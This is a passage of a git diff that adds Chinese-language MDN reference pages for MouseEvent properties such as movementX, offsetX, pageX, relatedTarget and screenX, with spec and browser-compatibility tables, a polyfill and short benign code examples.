  • "altKey",{{jsxref("Boolean")}} 型可选,默认为 false,标明是否同时按下 alt 键。
  • +
  • "metaKey",{{jsxref("Boolean")}} 型可选,默认为false,标明是否同时按下 meta 键。
  • +
  • "button"short 型可选,默认为 0,描述了当事件发生时,哪个按键被按下或释放: + + + + + + + + + + + + + + + + + + + + + +
    含义
    0主按键被按下(通常为左键)或未初始化
    1辅助按键被按下 (通常为中键)
    2次按键被按下 (通常为右键)
    +
  • +
  • "buttons",无符号 short 型可选,默认为 0,描述了当事件发生时哪些按键被按下: + + + + + + + + + + + + + + + + + + + + + + + + + +
    位域值
    + (Bit-field value)
    含义
    0无按键被按下
    1主按键被按下 (通常为左键)
    2次按键被按下 (通常为右键)
    4辅助按键被按下 (通常为中键)
    +
  • +
  • "relatedTarget",{{domxref("EventTarget")}} 型可选,默认为 null,若事件为 {{event("mouseenter")}} 或 {{event("mouseover")}},则表示刚离开的元素;若事件为 {{event("mouseout")}} 或 {{event("mouseleave")}},则表示刚进入的元素。
  • +
  • "region",{{domxref("DOMString")}} 型可选,默认为null,标明点击事件影响的区域 DOM 的 id。不影响任何区域的话,请传null值。
  • +
+ +

在一些实现中,passing anything other than a number for the screen and client fields will throw a TypeError.

+ +
+

上述 MouseEventInit 字典字段还包括从 {{domxref("UIEvent.UIEvent", "UIEventInit")}} 和 {{domxref("Event.Event", "EventInit")}} 继承来的字典字段。

+
+
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dom-mouseevent-region", 'region value')}}{{Spec2('HTML WHATWG')}}From {{SpecName('DOM3 Events')}}, added the "region" value in the dictionary.
{{SpecName('DOM3 Events','#interface-MouseEvent','MouseEvent()')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.MouseEvent.MouseEvent")}}

+ +

Polyfill

+ +

You can polyfill the MouseEvent() constructor functionality in Internet Explorer 9 and higher with the following code:

+ +
(function (window) {
+  try {
+    new MouseEvent('test');
+    return false; // No need to polyfill
+  } catch (e) {
+		// Need to polyfill - fall through
+  }
+
+    // Polyfills DOM4 MouseEvent
+	var MouseEventPolyfill = function (eventType, params) {
+		params = params || { bubbles: false, cancelable: false };
+		var mouseEvent = document.createEvent('MouseEvent');
+		mouseEvent.initMouseEvent(eventType,
+			params.bubbles,
+			params.cancelable,
+			window,
+			0,
+			params.screenX || 0,
+			params.screenY || 0,
+			params.clientX || 0,
+			params.clientY || 0,
+			params.ctrlKey || false,
+			params.altKey || false,
+			params.shiftKey || false,
+			params.metaKey || false,
+			params.button || 0,
+			params.relatedTarget || null
+		);
+
+		return mouseEvent;
+	}
+
+	MouseEventPolyfill.prototype = Event.prototype;
+
+	window.MouseEvent = MouseEventPolyfill;
+})(window);
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/mouseevent/movementx/index.html b/files/zh-cn/web/api/mouseevent/movementx/index.html new file mode 100644 index 0000000000..084428207d --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/movementx/index.html @@ -0,0 +1,103 @@ +--- +title: MouseEvent.movementX +slug: Web/API/MouseEvent/movementX +translation_of: Web/API/MouseEvent/movementX +--- +

{{APIRef("DOM Events")}}

+ +

 MouseEvent.movementX 是只读属性,它提供了当前事件和上一个{{event("mousemove")}}事件之间鼠标在水平方向上的移动值。换句话说,这个值是这样计算的 : currentEvent.movementX = currentEvent.screenX - previousEvent.screenX.

+ +

语法

+ +
var xShift = instanceOfMouseEvent.movementX
+
+ +

返回值

+ +

一个数字

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Lock','#widl-MouseEvent-movementX','MouseEvent.movementX')}}{{Spec2('Pointer Lock')}}Initial definition
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(22.0)}} {{property_prefix("webkit")}}
+ {{CompatChrome(37.0)}} unprefixed
{{CompatVersionUnknown}} +

{{CompatGeckoDesktop(1.0)}} {{property_prefix("moz")}}
+ {{CompatGeckoDesktop(41)}}

+
{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatChrome(37)}}{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}} {{property_prefix("moz")}}
+ {{CompatGeckoMobile(41)}}
{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo() }}{{CompatVersionUnknown}} {{property_prefix("webkit")}}
+ {{CompatChrome(37.0)}} unprefixed
+
+ +

相关

+ + diff --git a/files/zh-cn/web/api/mouseevent/movementy/index.html b/files/zh-cn/web/api/mouseevent/movementy/index.html new file mode 100644 index 0000000000..1faaccff17 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/movementy/index.html @@ -0,0 +1,101 @@ +--- +title: MouseEvent.movementY +slug: Web/API/MouseEvent/movementY +translation_of: Web/API/MouseEvent/movementY +--- +

{{APIRef("DOM Events")}}

+ +

MouseEvent.movementY 是只读属性,它提供了当前事件和上一个 {{event("mousemove")}} 事件之间鼠标在水平方向上的移动值。换句话说,这个值是这样计算的 :currentEvent.movementY = currentEvent.screenY - previousEvent.screenY.

+ +

语法

+ +
var yShift = instanceOfMouseEvent.movementY
+
+ +

返回值

+ +

A number

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Lock','#widl-MouseEvent-movementY','MouseEvent.movementY')}}{{Spec2('Pointer Lock')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(22.0)}} {{property_prefix("webkit")}}
+ {{CompatChrome(37.0)}} unprefixed
{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}} {{property_prefix("moz")}}
+ {{CompatGeckoDesktop(41)}}
{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatChrome(37.0)}}{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}} {{property_prefix("moz")}}
+ {{CompatGeckoMobile(41)}}
{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatVersionUnknown}} {{property_prefix("webkit")}}
+ {{CompatChrome(37.0)}} unprefixed
+
+ +

相关

+ + diff --git a/files/zh-cn/web/api/mouseevent/mozinputsource/index.html b/files/zh-cn/web/api/mouseevent/mozinputsource/index.html new file mode 100644 index 0000000000..bb4e530ced --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/mozinputsource/index.html @@ -0,0 +1,71 @@ +--- +title: MouseEvent.mozInputSource +slug: Web/API/MouseEvent/mozInputSource +tags: + - API +translation_of: Web/API/MouseEvent/mozInputSource +--- +

{{ APIRef() }}

+ +

{{ gecko_minversion_header("2.0") }}

+ +

{{ Non-standard_header() }}

+ +

{{domxref("MouseEvent")}}中的MouseEvent.mozInputSource是只读属性,它提供触发事件的设备信息。例如,当一个鼠标事件发生时,你能根据MouseEvent.mozInputSource属性判断该事件是由鼠标还是由触屏设备触发的(这将影响到你对于事件发生坐标解释的精确度)。

+ +

语法

+ +
var source = event.mozInputSource;
+ +

+ +

下列值都是合法的

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量名称描述
MOZ_SOURCE_UNKNOWN0该事件是由未知设备触发的。
MOZ_SOURCE_MOUSE1该事件是由鼠标(或类似的设备)触发的。
MOZ_SOURCE_PEN2该事件是由触屏笔在写字板上触发的。
MOZ_SOURCE_ERASER3该事件是由触屏橡皮擦在写字板上触发的。
MOZ_SOURCE_CURSOR4该事件是由指针触发的。
MOZ_SOURCE_TOUCH5该事件是在触屏设备上触发的。
MOZ_SOURCE_KEYBOARD6该事件是由键盘触发的。
+ +

详述

+ +

diff --git a/files/zh-cn/web/api/mouseevent/offsetx/index.html b/files/zh-cn/web/api/mouseevent/offsetx/index.html new file mode 100644 index 0000000000..28c6719863 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/offsetx/index.html @@ -0,0 +1,120 @@ +--- +title: MouseEvent.offsetX +slug: Web/API/MouseEvent/offsetX +tags: + - API + - 只读 + - 属性 + - 鼠标事件 +translation_of: Web/API/MouseEvent/offsetX +--- +

{{APIRef("DOM Events")}}{{SeeCompatTable}}

+ +

{{domxref("MouseEvent")}} 接口的只读属性 offsetX 规定了事件对象与目标节点的内填充边(padding edge)在 X 轴方向上的偏移量。

+ +

语法

+ +
var xOffset = instanceOfMouseEvent.offsetX;
+
+ +

返回值

+ +

一个双精度 浮点值。早期的规范将其规定为整数值。详见浏览器兼容性部分。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-mouseevent-offsetx', 'MouseEvent')}}{{Spec2('CSSOM View')}}Initial definition
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("39.0")}}6{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Redefined from long to double{{CompatChrome(56)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("43.0")}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
Redefined from long to double{{CompatChrome(56)}}{{CompatChrome(56)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/mouseevent/offsety/index.html b/files/zh-cn/web/api/mouseevent/offsety/index.html new file mode 100644 index 0000000000..7b1eab0450 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/offsety/index.html @@ -0,0 +1,119 @@ +--- +title: MouseEvent.offsetY +slug: Web/API/MouseEvent/offsetY +tags: + - API + - 只读属性 + - 鼠标事件 +translation_of: Web/API/MouseEvent/offsetY +--- +

{{APIRef("DOM Events")}}{{SeeCompatTable}}

+ +

MouseEvent 接口的只读属性 offsetY 规定了事件对象与目标节点的内填充边(padding edge)在 Y 轴方向上的偏移量。

+ +

语法

+ +
var yOffset = instanceOfMouseEvent.offsetY;
+
+ +

返回值

+ +

一个双精度 浮点值。早期的规范将其规定为整数值。详见浏览器兼容性部分。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-mouseevent-offsety', 'MouseEvent')}}{{Spec2('CSSOM View')}}Initial definition
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("39.0")}}6{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Redefined from long to double{{CompatChrome(56)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("43.0")}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
Redefined from long to double{{CompatChrome(56)}}{{CompatChrome(56)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/mouseevent/pagex/index.html b/files/zh-cn/web/api/mouseevent/pagex/index.html new file mode 100644 index 0000000000..06e933334d --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/pagex/index.html @@ -0,0 +1,126 @@ +--- +title: MouseEvent.pageX +slug: Web/API/MouseEvent/pageX +translation_of: Web/API/MouseEvent/pageX +--- +

{{APIRef("DOM Events")}}

+ +

 pageX 是一个由{{domxref("MouseEvent")}}接口返回的相对于整个文档的x(水平)坐标以像素为单位的只读属性。

+ +

这个属性将基于文档的边缘,考虑任何页面的水平方向上的滚动。举个例子,如果页面向右滚动 200px 并出现了滚动条,这部分在窗口之外,然后鼠标点击距离窗口左边 100px 的位置,pageX 所返回的值将是 300。

+ +

 起初这个属性被定义为长整型。 CSSOM 视图模块将它重新定位为双浮点数类型。请参阅浏览器兼容性部分了解详情。

+ +

语法

+ +
var pos = event.pageX
+ +

例子

+ +
var pageX = event.pageX;
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-mouseevent-pagex', 'pageX')}}{{Spec2('CSSOM View')}}Redefined from long to double.
{{SpecName('Touch Events', '#widl-Touch-pageX', 'pageX')}}{{Spec2('TouchEvents')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(45.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}9{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Redefined from long to double{{CompatChrome(56)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(45.0)}}{{CompatChrome(45.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Redefined from long to double{{CompatChrome(56)}}{{CompatChrome(56)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/mouseevent/pagey/index.html b/files/zh-cn/web/api/mouseevent/pagey/index.html new file mode 100644 index 0000000000..22a862d9eb --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/pagey/index.html @@ -0,0 +1,122 @@ +--- +title: MouseEvent.pageY +slug: Web/API/MouseEvent/pageY +translation_of: Web/API/MouseEvent/pageY +--- +

{{APIRef("DOM Events")}}

+ +

pageY是一个只读属性,它返回触发事件的位置相对于整个 document 的 Y 坐标值。由于其参考物是整个 dom,所以这个值受页面垂直方向的滚动影响。例如:当你垂直方向向下滚动了 50 pixel,那么你在顶端进行点击的时候,获取的pageY为 50pixed 而不是 0。最初这个属性被定义为长整型(long integer),如今 CSSOM 视图模块将其重新定义为双精度浮点数(double float)。你可以查阅浏览器兼容性部分的文档来进一步了解有关信息。

+ +

语法

+ +
var pos = event.pageY
+ +

示例

+ +
var pageY = event.pageY;
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-mouseevent-pagey', 'pageY')}}{{Spec2('CSSOM View')}}Redefined from long to double.
{{SpecName('Touch Events', '#widl-Touch-pagey', 'pageY')}}{{Spec2('TouchEvents')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(45)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}9{{CompatVersionUnknown}}{{CompatVersionUnknown}}
Redefined from long to double{{CompatChrome(56)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(45.)}}{{CompatChrome(45)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Redefined from long to double{{CompatChrome(56)}}{{CompatChrome(56)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

更多请见

+ + diff --git a/files/zh-cn/web/api/mouseevent/region/index.html b/files/zh-cn/web/api/mouseevent/region/index.html new file mode 100644 index 0000000000..15bdf83f92 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/region/index.html @@ -0,0 +1,56 @@ +--- +title: MouseEvent.region +slug: Web/API/MouseEvent/region +tags: + - API + - Canvas + - DOM Events + - MouseEvent +translation_of: Web/API/MouseEvent/region +--- +
{{APIRef("DOM Events")}}
+ +

The MouseEvent.region read-only property returns the id of the canvas hit region affected by the event. If no hit region is affected, null is returned.

+ +

语法

+ +
var hitRegion = instanceOfMouseEvent.region
+
+ +

返回值

+ +

A {{domxref("DOMString")}} representing the id of the hit region.

+ +

例子

+ +
<canvas id="canvas"></canvas>
+
+<script>
+var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.arc(70, 80, 10, 0, 2 * Math.PI, false);
+ctx.fill();
+ctx.addHitRegion({id: "circle"});
+
+canvas.addEventListener("mousemove", function(event){
+  if(event.region) {
+    console.log("hit region: " + event.region);
+  }
+});
+</script>
+
+ +

浏览器兼容性

+ + + +

{{Compat("api.MouseEvent.region")}}

+ +

更多参考

+ + diff --git a/files/zh-cn/web/api/mouseevent/relatedtarget/index.html b/files/zh-cn/web/api/mouseevent/relatedtarget/index.html new file mode 100644 index 0000000000..a184a8a2f3 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/relatedtarget/index.html @@ -0,0 +1,169 @@ +--- +title: MouseEvent.relatedTarget +slug: Web/API/MouseEvent/relatedTarget +translation_of: Web/API/MouseEvent/relatedTarget +--- +
{{APIRef("DOM Events")}}
+ +
只读属性MouseEvent.relatedTarget 是鼠标事件的次要目标(如果存在),它包括:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
事件名称targetrelatedTarget
{{Event("focusin")}}{{domxref("EventTarget")}} 获取焦点{{domxref("EventTarget")}} 失去焦点
{{Event("focusout")}}{{domxref("EventTarget")}} 失去焦点The {{domxref("EventTarget")}} 获取焦点
{{Event("mouseenter")}}指针设备进入{{domxref("EventTarget")}}指针设备离开{{domxref("EventTarget")}}
{{Event("mouseleave")}}指针设备离开 {{domxref("EventTarget")}}指针设备进入 {{domxref("EventTarget")}}
{{Event("mouseout")}}指针设备离开 {{domxref("EventTarget")}}The {{domxref("EventTarget")}}
{{Event("mouseover")}}指针设备进入 {{domxref("EventTarget")}}指针设备离开 {{domxref("EventTarget")}}
{{Event("dragenter")}}指针设备进入 {{domxref("EventTarget")}}指针设备离开 {{domxref("EventTarget")}}
{{Event("dragexit")}}指针设备离开 {{domxref("EventTarget")}}指针设备进入 {{domxref("EventTarget")}}
+ +

如果事件没有次要目标,relatedTarget 将返回 null.

+ +

语法

+ +
var target = instanceOfMouseEvent.relatedTarget
+
+ +

返回值

+ +

 {{domxref("EventTarget")}} 对象或者 null.

+ +

示例

+ +

尝试将你的鼠标移入移出红色和蓝色方块。

+ +

HTML

+ +
<body id="body">
+  <div id="outer">
+    <div id="red"></div>
+    <div id="blue"></div>
+  </div>
+  <p id="log"></p>
+</body>
+ +

CSS

+ +
#outer {
+  width: 250px;
+  height: 125px;
+  display: flex;
+}
+
+#red {
+  flex-grow: 1;
+  background: red;
+}
+
+#blue {
+  flex-grow: 1;
+  background: blue;
+}
+
+#log {
+  max-height: 120px;
+  overflow-y: scroll;
+}
+ +

JavaScript

+ +
const mouseoutLog = document.getElementById('log'),
+      red = document.getElementById('red'),
+      blue = document.getElementById('blue');
+
+red.addEventListener('mouseover', overListener);
+red.addEventListener('mouseout', outListener);
+blue.addEventListener('mouseover', overListener);
+blue.addEventListener('mouseout', outListener);
+
+function outListener(event) {
+  let related = event.relatedTarget ? event.relatedTarget.id : "unknown";
+
+  mouseoutLog.innerText = `\nfrom ${event.target.id} into ${related} ${mouseoutLog.innerText}`;
+}
+
+function overListener(event) {
+  let related = event.relatedTarget ? event.relatedTarget.id : "unknown";
+
+  log.innerText = `\ninto ${event.target.id} from ${related} ${mouseoutLog.innerText}`;
+}
+
+ +

Result

+ +

{{EmbedLiveSample("Example", 700, 280)}}

+ +

详述

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-MouseEvent-relatedTarget','MouseEvent.relatedTarget')}}{{Spec2('DOM3 Events')}}No change from {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.altkey')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.MouseEvent.relatedTarget")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/mouseevent/screenx/index.html b/files/zh-cn/web/api/mouseevent/screenx/index.html new file mode 100644 index 0000000000..1f3f484d14 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/screenx/index.html @@ -0,0 +1,92 @@ +--- +title: MouseEvent.screenX +slug: Web/API/MouseEvent/screenX +tags: + - API + - MouseEvent + - Property + - events + - 事件 + - 参考 + - 属性 + - 鼠标 + - 鼠标事件 +translation_of: Web/API/MouseEvent/screenX +--- +

{{APIRef("DOM Events")}}

+ +

 screenX 是 {{domxref("MouseEvent")}} 的只读属性,提供鼠标在全局(屏幕)中的水平坐标(偏移量)。

+ +

语法

+ +
var pixelNumber = instanceOfMouseEvent.screenX
+
+ +

返回值

+ +

一个双精度浮点值。早期版本的规范将该值定义为整数值的像素数。有关详细信息,请参见浏览器兼容性部分。

+ +

示例

+ +

这个例子展示了当触发 {{Event("mousemove")}} 事件时鼠标的坐标。

+ +

HTML

+ +
<p>Move your mouse to see its position.</p>
+<p id="screen-log"></p>
+ +

JavaScript

+ +
let screenLog = document.querySelector('#screen-log');
+document.addEventListener('mousemove', logKey);
+
+function logKey(e) {
+  screenLog.innerText = `
+    Screen X/Y: ${e.screenX}, ${e.screenY}
+    Client X/Y: ${e.clientX}, ${e.clientY}`;
+}
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('CSSOM View','#dom-mouseevent-screenx', 'screenX')}}{{Spec2('CSSOM View')}}Redefines {{domxref("MouseEvent")}} from long to double. 
{{SpecName('DOM3 Events','#widl-MouseEvent-screenX','MouseEvent.screenX')}}{{Spec2('DOM3 Events')}}No change from {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.sceenX')}}{{Spec2('DOM2 Events')}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.MouseEvent.screenX")}}

+ +

参见

+ +
+ + diff --git a/files/zh-cn/web/api/mouseevent/screeny/index.html b/files/zh-cn/web/api/mouseevent/screeny/index.html new file mode 100644 index 0000000000..4ae5210e23 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/screeny/index.html @@ -0,0 +1,136 @@ +--- +title: MouseEvent.screenY +slug: Web/API/MouseEvent/screenY +tags: + - API + - 参考 + - 属性 + - 鼠标 + - 鼠标事件 +translation_of: Web/API/MouseEvent/screenY +--- +

{{APIRef("DOM Events")}}

+ +

 screenX 是 MouseEvent 的只读属性,提供鼠标在全局(屏幕)中的水平坐标(偏移量)。

+ +

语法

+ +
var pixelNumber = instanceOfMouseEvent.screenY
+
+ +

返回值

+ +

一个double值。早期版本的规范定义将其一个整数值的像素数。有关详细信息,请参见浏览器兼容性部分。

+ +

示例

+ +

这个例子展示了当触发 {{Event("mousemove")}} 事件时鼠标的坐标。

+ +

HTML

+ +
<p>Move your mouse to see its position.</p>
+<p id="screen-log"></p>
+ +

JavaScript

+ +
let screenLog = document.querySelector('#screen-log');
+document.addEventListener('mousemove', logKey);
+
+function logKey(e) {
+  screenLog.innerText = `
+    Screen X/Y: ${e.screenX}, ${e.screenY}
+    Client X/Y: ${e.clientX}, ${e.clientY}`;
+}
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View','#dom-mouseevent-screeny', 'screenY')}}{{Spec2('CSSOM View')}}Redefines {{domxref("MouseEvent")}} from long to double. 
{{SpecName('DOM3 Events','#widl-MouseEvent-screenY','MouseEvent.screenY')}}{{Spec2('DOM3 Events')}}No change from {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.sceenY')}}{{Spec2('DOM2 Events')}}Initial definition
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}6{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/mouseevent/shiftkey/index.html b/files/zh-cn/web/api/mouseevent/shiftkey/index.html new file mode 100644 index 0000000000..a31ab83fb1 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/shiftkey/index.html @@ -0,0 +1,127 @@ +--- +title: MouseEvent.shiftKey +slug: Web/API/MouseEvent/shiftKey +translation_of: Web/API/MouseEvent/shiftKey +--- +

{{APIRef("DOM Events")}}

+ +

MouseEvent.shiftKey 是只读属性,指出触发鼠标事件时是否按住了 shift

+ +

Syntax

+ +
var shiftKeyPressed = instanceOfMouseEvent.shiftKey
+
+ +

Return value

+ +

A boolean

+ +

Example

+ +
<html>
+<head>
+<title>shiftKey example</title>
+
+<script type="text/javascript">
+
+function showChar(e){
+  alert(
+    "Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "SHIFT key pressed: " + e.shiftKey + "\n"
+    + "ALT key pressed: " + e.altKey + "\n"
+  );
+}
+
+</script>
+</head>
+
+<body onkeypress="showChar(event);">
+<p>Press any character key, with or without holding down
+ the SHIFT key.<br />
+You can also use the SHIFT key together with the ALT key.</p>
+</body>
+</html>
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-MouseEvent-shiftKey','MouseEvent.shiftKey')}}{{Spec2('DOM3 Events')}}No change from {{SpecName('DOM2 Events')}}.
{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.shiftKey')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureEdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/mouseevent/which/index.html b/files/zh-cn/web/api/mouseevent/which/index.html new file mode 100644 index 0000000000..591412dda3 --- /dev/null +++ b/files/zh-cn/web/api/mouseevent/which/index.html @@ -0,0 +1,99 @@ +--- +title: MouseEvent.which +slug: Web/API/MouseEvent/which +tags: + - API + - 只读 + - 非标准 + - 鼠标事件 +translation_of: Web/API/MouseEvent/which +--- +

{{APIRef("DOM Events")}}

+ +

{{Non-standard_header}}

+ +

只读属性 MouseEvent.which 显示了鼠标事件是由哪个鼠标按键被按下所触发的。其他获得该信息的标准属性是 {{ domxref("MouseEvent.button") }} 与 {{ domxref("MouseEvent.buttons") }} 。

+ +

语法

+ +
var buttonPressed = instanceOfMouseEvent.which
+
+ +

